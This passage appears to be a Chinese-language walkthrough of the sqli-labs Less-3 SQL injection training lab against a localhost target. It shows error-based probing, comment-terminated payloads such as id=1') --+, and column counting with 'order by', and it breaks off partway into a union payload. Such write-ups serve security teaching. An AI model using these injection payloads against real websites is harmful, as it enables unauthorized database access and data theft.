sqli-labs Less-3
第三关界面,参数id
http://localhost/sqli-labs/Less-3/index.php?id=1'
看一下报错信息 check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1'
尝试在后面加上)
http://localhost/sqli-labs/Less-3/index.php?id=1') --+
没什么问题就像之前几关一样进入基本流程,截图省略
判断字段数:
http://localhost/sqli-labs/Less-3/index.php?id=1') order by 3 --+
判断回显位:
http://localhost/sqli-labs/Less-3/index.php?id=-1') u